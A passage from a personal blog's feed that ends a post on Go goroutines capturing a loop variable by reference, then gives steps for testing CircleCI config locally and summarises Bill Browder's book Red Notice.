</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">var</span> wg sync.WaitGroup
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">for</span> i <span style="color:#719e07">:=</span> <span style="color:#2aa198">0</span>; i &lt; <span style="color:#b58900">len</span>(arr); i<span style="color:#719e07">++</span> {
</span></span><span style="display:flex;"><span>    wg.<span style="color:#268bd2">Add</span>(<span style="color:#2aa198">1</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// Start a thread to do some heavy work in the background</span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">go</span> <span style="color:#268bd2">func</span>() {
</span></span><span style="display:flex;"><span>      fmt.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;i is %d\n&#34;</span>, i)
</span></span><span style="display:flex;"><span>      wg.<span style="color:#268bd2">Done</span>()
</span></span><span style="display:flex;"><span>    }()
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#586e75">// Wait till all the threads finish</span>
</span></span><span style="display:flex;"><span>  wg.<span style="color:#268bd2">Wait</span>()
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Instead of printing</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>i is <span style="color:#2aa198">0</span>
</span></span><span style="display:flex;"><span>i is <span style="color:#2aa198">1</span>
</span></span><span style="display:flex;"><span>i is <span style="color:#2aa198">2</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>It generates</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>i is <span style="color:#2aa198">3</span>
</span></span><span style="display:flex;"><span>i is <span style="color:#2aa198">3</span>
</span></span><span style="display:flex;"><span>i is <span style="color:#2aa198">3</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>What happened?</p>
<p>Turns out that the reference to i is captured but not the value. So when the internal anonymous function runs, it gets the current value of i at the time of execution and not creation.</p>
<p>One general rule for this is to <strong>never access value from the outer function directly, instead pass those values as parameters.</strong></p>
<p>Consider this.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#719e07">package</span> main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#34;sync&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">main</span>() {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  arr <span style="color:#719e07">:=</span> []<span style="color:#dc322f">int</span> {<span style="color:#2aa198">1</span>, <span style="color:#2aa198">2</span>, <span style="color:#2aa198">3</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">var</span> wg sync.WaitGroup
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">for</span> i <span style="color:#719e07">:=</span> <span style="color:#2aa198">0</span>; i &lt; <span style="color:#b58900">len</span>(arr); i<span style="color:#719e07">++</span> {
</span></span><span style="display:flex;"><span>    wg.<span style="color:#268bd2">Add</span>(<span style="color:#2aa198">1</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// Start a thread to do some heavy work in the background</span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">go</span> <span style="color:#268bd2">func</span>(j <span style="color:#dc322f">int</span>) {
</span></span><span style="display:flex;"><span>      fmt.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;i is %d\n&#34;</span>, j)
</span></span><span style="display:flex;"><span>      wg.<span style="color:#268bd2">Done</span>()
</span></span><span style="display:flex;"><span>    }(i)  <span style="color:#586e75">// Capture the value at the time of thread creation</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#586e75">// Wait till all the threads finish</span>
</span></span><span style="display:flex;"><span>  wg.<span style="color:#268bd2">Wait</span>()
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And it produces</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>i is <span style="color:#2aa198">2</span>
</span></span><span style="display:flex;"><span>i is <span style="color:#2aa198">0</span>
</span></span><span style="display:flex;"><span>i is <span style="color:#2aa198">1</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Update: This has been fixed in   
    
    
<a href="https://go.dev/blog/loopvar-preview?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Go 1.22 and later</a>.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">Test changes to CircleCI config locally</title><link href="https://ashishb.net/programming/faster-testing-iterations-with-circleci/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/end-to-end-testing-mobile-apps/?utm_source=atom_feed" rel="related" type="text/html" title="End-to-end testing of mobile apps"/><link href="https://ashishb.net/programming/dotfiles-ci/?utm_source=atom_feed" rel="related" type="text/html" title="Keep your dotfiles bug-free with Continuous Integration"/><link href="https://ashishb.net/tech/ci-is-not-cd/?utm_source=atom_feed" rel="related" type="text/html" title="Continuous integration ≠ Continuous delivery"/><link href="https://ashishb.net/programming/go-language-concurrency-and-an-easy-pitfall/?utm_source=atom_feed" rel="related" type="text/html" title="Go Language concurrency and an easy pitfall"/><link href="https://ashishb.net/programming/android-catching-ndk-crashes/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Catching NDK crashes"/><id>https://ashishb.net/programming/faster-testing-iterations-with-circleci/</id><author><name>Ashish Bhatia</name></author><published>2021-09-12T01:30:09+00:00</published><updated>2021-09-12T01:30:09+00:00</updated><content type="html"><![CDATA[<blockquote>Switch to GitHub Actions for CI/CD. Learn to install CircleCI CLI, validate configs, and execute jobs locally before pushing code. Optimize your workflow!</blockquote><p>Update: as of Jan 1, 2021, I no longer recommended CircleCI. I have moved to GitHub Actions for CI/CD.</p>
<p>Rather than pushing the code to a remote branch and then testing via Circle CI servers, it is best to run the tests locally first and make them work. Here&rsquo;s how you can do that.</p>
<ol>
<li>Install <code>circleci</code>   
    
    
<a href="https://circleci.com/docs/2.0/local-cli/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">CLI</a> (On Mac, that would be <code>brew install circleci</code>)</li>
<li>Write/modify the config in <code>.circleci/config.yml</code></li>
<li>Validate config with <code>circleci config validate</code></li>
<li>Test the job by running <code>circleci local execute</code> to execute all jobs or <code>circleci local execute --job &lt;job-name&gt;</code> to run a specific job. And once that passes, push the code.</li>
<li>Now   
    
    
<a href="https://circleci.com/docs/2.0/getting-started/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">enable Circle CI</a> on the repo.</li>
<li>Add Circle CI   
    
    
<a href="https://circleci.com/docs/2.0/status-badges/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Status badge</a> to your repository.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/continuous-integration" term="continuous-integration" label="continuous-integration"/></entry><entry><title type="html">Book Summary: Red Notice by Bill Browder</title><link href="https://ashishb.net/book-summary/red-notice/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/antifragile/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Antifragile by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summary/digital-minimalism/?utm_source=atom_feed" rel="related" type="text/html" title="Digital Minimalism by Cal Newport"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/woke-inc/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Woke, Inc. by Vivek Ramaswamy"/><id>https://ashishb.net/book-summary/red-notice/</id><author><name>Ashish Bhatia</name></author><published>2021-09-01T21:59:31+00:00</published><updated>2021-09-01T21:59:31+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the captivating saga of Bill Browder, the biggest foreign investor in Russia, as he battles corruption, survives expulsion, and champions the Magnitsky Act.</blockquote><p>The   
    
    
<a href="https://amzn.to/3ksUlBQ?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">story</a> of the rise and fall of the biggest foreign investor in Russia.</p>
<ol>
<li>Bill Browder was born into a Jewish family in the United States. His father was a math genius. His brother was a math genius. His father suffered discrimination because this guy&rsquo;s grandfather was the leader of the communist party of America. Bill as a rebel towards his family decided to go into capitalism. He did MBA at Stanford and joined BCG. He insisted on working in Eastern Europe. This was the 90s and these countries were just getting out of the shadow of communism.</li>
<li>While helping restructure a failing bus company in Poland, he came across a privatization offer. The shares were extremely undervalued. He, using his Polish friends, decided to apply to invest 2000$ (all of his net worth then). He made 10X soon after.</li>
<li>While trying to establish himself as an authority on Eastern Europe investments, he came across and joined Maxwell. Later, the company turned out to be a big accounting fraud. He, then, joined the Salomon Brothers in London. Finding no other team to join, he declared himself the in-charge of Russia.</li>
<li>Russia, at that time, handed vouchers to the citizens to be eligible for equity. These vouchers valued the whole share market of Russia for less than Walmart. He invested and made millions for the firm. But then he saw that the whole bureaucracy there wants to stratify the division and take the credit for it. He decided to start his fund,   
    
    
<a href="https://en.wikipedia.org/wiki/Hermitage_Capital_Management?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hermitage Capital</a> in 1996 instead.</li>
<li>After multiple attempts, he was able to convince billionaire   
    
    
<a href="https://en.wikipedia.org/wiki/Edmond_Safra?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Safra</a> to invest 25M dollars. He invested in preferred shares which were undervalued and ended up as the   
    
    
<a href="https://www.institutionalinvestor.com/article/b15134y9lz49ms/seeing-red?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">best-performing fund of 1998</a>.</li>
<li>Sidanco, one of his best investments, wanted to issue new bonds that excluded minority shareholders like Hermitage (4% owner). He fought back and get the offering   
    
    
<a href="https://www.wsj.com/articles/SB887837604808864500?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">canceled</a>.</li>
<li>In 1998, the fund was doing great till the Asian financial crisis hit. Eventually, it reached Russia. Russia, rather than taking a loan from the World Bank, decided to default even on its domestic debt. His fund lost 90% in one year.</li>
<li>Russians, especially, those deep inside the company out of jealousy for the oligarch, would share information with him. And he would use that to fight the Russian oligarch for better governance. Vladimir Putin was aligned with Browder all along. Till the conviction of   
    
    
<a href="https://en.wikipedia.org/wiki/Mikhail_Khodorkovsky?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Khodorkovsky</a>. That conviction made the oligarch realize the power of Putin. And as per Browder,   
    
    
<a href="https://www.theatlantic.com/politics/archive/2017/07/bill-browders-testimony-to-the-senate-judiciary-committee/534864/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">oligarchs</a>, all gave 50% of their company to Putin.</li>
<li>Now Putin turned against Browder. Browder got deported in 2005. This was when he was the biggest foreign investor in Russia. Then he learned from Russian security police (FSB) insider that this is just the beginning. He soon covertly sold all the Russian holdings and moved the money out. His plan was then to build Hermitage Global. Find undervalued companies around the world and buy them.</li>
<li>In 2007, Browder&rsquo;s office and his lawyers&rsquo; offices were raided. He moved his employees and lawyers out.</li>
<li>The stolen documents and seals were used for transferring ownership of Hermitage&rsquo;s holding companies. Then cases were filed against these companies. Some fake lawyers appeared on behalf of Hermitage and plead guilty! This all made sense, once the tax refund was filed and all of the $230M that Hermitage paid in 2005 was received back by these companies. This was the biggest tax refund in Russia&rsquo;s history. Later,   
    
    
<a href="https://en.wikipedia.org/wiki/Alexander_Perepilichny?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">a man</a> in London, shared how a woman inside the tax department received $2M for doing this in her husband&rsquo;s Swiss bank account. On reporting, the Swiss authorities froze those funds. Browder hired a lawyer   
    
    
<a href="https://www.theguardian.com/world/2013/jul/11/sergei-magnitsky-russia-trial-verdict-tax-fraud?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sergi Magnitksy</a> to investigate this. Later, realizing that his life could be in danger, he wanted Sergi to move out of Russia. Sergei refused.</li>
<li>Sergei after filing a detailed complaint about $230M tax fraud was arrested and tortured for almost a year in Russian prisons. He eventually died due to a beating. Browder eventually learned   
    
    
<a href="https://www.russian-untouchables.com/eng/artem-kuznetsov/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kuznetsov</a> and   
    
    
<a href="https://www.russian-untouchables.com/eng/pavel-karpov/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Karpov</a> were behind this. Browder fought heavily to get justice. Giving talks around the world, making   
    
    
<a href="https://www.youtube.com/watch?v=ok6ljV-WfRw&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">YouTube</a> (then a small site) videos in the process. Browder, an ex-US citizen, hustled in Washington DC and eventually, much to Obama&rsquo;s dismay, got the   
    
    
<a href="https://en.wikipedia.org/wiki/Magnitsky_Act?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Magnitksy Act</a> passed. Browder gets unexpected help from Russian dissidents who were also fed up with the regime. This ensured that all those named officials can never enter the US and not own any property in the US.</li>
<li>Putin was rattled by all this. His regime always maintained that contrary to the autopsy report, Sergei died due to a heart attack. Putin&rsquo;s government decided to file a case against Browder (in absentia) and Sergei (after death!) for tax fraud. Both were charged for 6 years in prison.</li>
<li>Interpol first accepted the Russian request to arrest Browder and after public outcry, then   
    
    
<a href="https://www.interpol.int/en/News-and-Events/News/2013/INTERPOL-cannot-be-used-by-the-Russian-Federation-to-seek-the-arrest-of-Mr-William-Browder?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">rejected</a> the notice. Russia has   
    
    
<a href="https://www.forbes.com/sites/tedbromund/2019/04/30/russia-requests-interpol-action-on-bill-browder-for-seventh-time/?sh=50899112392e&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tried</a> seven times to get him arrested via Interpol.</li>
</ol>
